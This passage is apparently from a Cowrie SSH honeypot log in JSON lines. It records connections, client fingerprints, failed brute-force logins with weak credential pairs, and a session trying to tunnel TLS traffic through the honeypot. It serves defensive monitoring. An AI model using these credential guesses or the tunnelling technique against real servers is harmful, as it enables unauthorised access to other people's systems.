00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\x90\\x04\\xc9\\xfd^\\x15CV\\x87\\xc1\\xd4 \\xf0m\\xa9\\t\\xb3\\x8fR\\x98DB\\xdcn\\x85I\\x87\\xfb\\xed\\xabR 7/\\xb4No\\xc3\\xb3\\x91\\x04\\x8f\\xc4\\xbf`\\x8a\\xf18\\xa2vj(\\xe3`5'\\xe8z\\xd6w\\xea%\\xd4\\xc6\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe1\\xe9L\\xdd\\xa5\\x01\\x8c\\xd7\\xc2\\x08\\x91\\xcd\\x0ec\\xfb\\x8d\\xd8b\\xd3\\xff\\x0f\\xbd\\x18\\xc9\\xba(\\x1a\\xbcI8\\x80[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:41.174766Z","src_ip":"113.164.152.20","session":"785018740d6b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:41.467690Z","session":"785018740d6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:41.603621Z","src_ip":"45.153.34.195","session":"e65754af4dbe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:41.743684Z","src_ip":"113.164.152.20","session":"785018740d6b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03F+\\xae\\xe5\\xecuei;<\\xe4\\x12#\\xa3\\xa0\\xbf3\\xb4\\xf4\\x1b$\\xb6:\\xf46\\x8c*6\\x0c\\x9c\\x9e\\x81 A\\xda\\xf9\\xf1M\\xdf\\x8d\\xbb{\\xc1\\xb3U\\xa9z\\x1b\\t\\xbcq)\\xad\\x9bA\\x95\\xbc\\x9fAy\\xbc\\x0e\\xdb\\xe5\\xa1\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 ;>dUi\\xe08y\\x9f\\x9ai\\x18\\x99\\xd2\\xc0(\\x17\\x00Z}\\x98\\x83`\\xe9\\xff?\\xd4\\xb2j\\xc5\\x9c\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03F+\\xae\\xe5\\xecuei;<\\xe4\\x12#\\xa3\\xa0\\xbf3\\xb4\\xf4\\x1b$\\xb6:\\xf46\\x8c*6\\x0c\\x9c\\x9e\\x81 A\\xda\\xf9\\xf1M\\xdf\\x8d\\xbb{\\xc1\\xb3U\\xa9z\\x1b\\t\\xbcq)\\xad\\x9bA\\x95\\xbc\\x9fAy\\xbc\\x0e\\xdb\\xe5\\xa1\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 ;>dUi\\xe08y\\x9f\\x9ai\\x18\\x99\\xd2\\xc0(\\x17\\x00Z}\\x98\\x83`\\xe9\\xff?\\xd4\\xb2j\\xc5\\x9c\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:41.747382Z","src_ip":"113.164.152.20","session":"785018740d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:42.220093Z","src_ip":"113.164.152.20","session":"785018740d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:42.686586Z","src_ip":"45.153.34.195","session":"e65754af4dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.1","message":"Connection lost after 20.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:43.057311Z","src_ip":"91.92.40.36","session":"bf4573fa0cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38698,"dst_ip":"159.203.135.109","dst_port":22,"session":"442a6d1474f3","protocol":"ssh","message":"New connection: 91.92.40.36:38698 (159.203.135.109:22) [session: 442a6d1474f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:43.600229Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40140,"dst_ip":"10.17.0.5","dst_port":22,"session":"5854b2daa860","protocol":"ssh","message":"New connection: 45.153.34.195:40140 (10.17.0.5:22) [session: 5854b2daa860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:43.908468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:43.937446Z","src_ip":"45.153.34.195","session":"5854b2daa860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:44.012659Z","src_ip":"45.153.34.195","session":"5854b2daa860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123","message":"login attempt [claude/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:44.438915Z","src_ip":"45.153.34.195","session":"5854b2daa860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:45.522504Z","src_ip":"45.153.34.195","session":"5854b2daa860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40148,"dst_ip":"10.17.0.5","dst_port":22,"session":"95d8b87a2d52","protocol":"ssh","message":"New connection: 45.153.34.195:40148 (10.17.0.5:22) [session: 95d8b87a2d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:46.703876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:46.870386Z","src_ip":"91.92.40.36","session":"442a6d1474f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:46.874871Z","src_ip":"91.92.40.36","session":"442a6d1474f3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:46.930571Z","src_ip":"45.153.34.195","session":"95d8b87a2d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:46.933690Z","src_ip":"45.153.34.195","session":"95d8b87a2d52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osm","password":"123456","message":"login attempt [osm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:47.652854Z","src_ip":"45.153.34.195","session":"95d8b87a2d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:48.741359Z","src_ip":"45.153.34.195","session":"95d8b87a2d52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40160,"dst_ip":"10.17.0.5","dst_port":22,"session":"83b1a52e6fa4","protocol":"ssh","message":"New connection: 45.153.34.195:40160 (10.17.0.5:22) [session: 83b1a52e6fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:49.715812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:49.723310Z","src_ip":"45.153.34.195","session":"83b1a52e6fa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:49.880903Z","src_ip":"45.153.34.195","session":"83b1a52e6fa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jakob","password":"jakob","message":"login attempt [jakob/jakob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:50.267901Z","src_ip":"45.153.34.195","session":"83b1a52e6fa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:51.350615Z","src_ip":"45.153.34.195","session":"83b1a52e6fa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36688,"dst_ip":"159.203.135.109","dst_port":22,"session":"81616efcb414","protocol":"ssh","message":"New connection: 91.92.40.36:36688 (159.203.135.109:22) [session: 81616efcb414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:52.363617Z"}
{"eventid":"cowrie.login.failed","username":"nirvana","password":"nirvana123","message":"login attempt [nirvana/nirvana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:52.374801Z","src_ip":"91.92.40.36","session":"32b1f9f55a43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54414,"dst_ip":"10.17.0.5","dst_port":22,"session":"b12d20f8d9e3","protocol":"ssh","message":"New connection: 45.153.34.195:54414 (10.17.0.5:22) [session: b12d20f8d9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:52.664618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:52.668592Z","src_ip":"45.153.34.195","session":"b12d20f8d9e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gao","password":"gao","message":"login attempt [gao/gao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:52.671730Z","src_ip":"91.92.40.36","session":"750a687cecca","protocol":"ssh"}
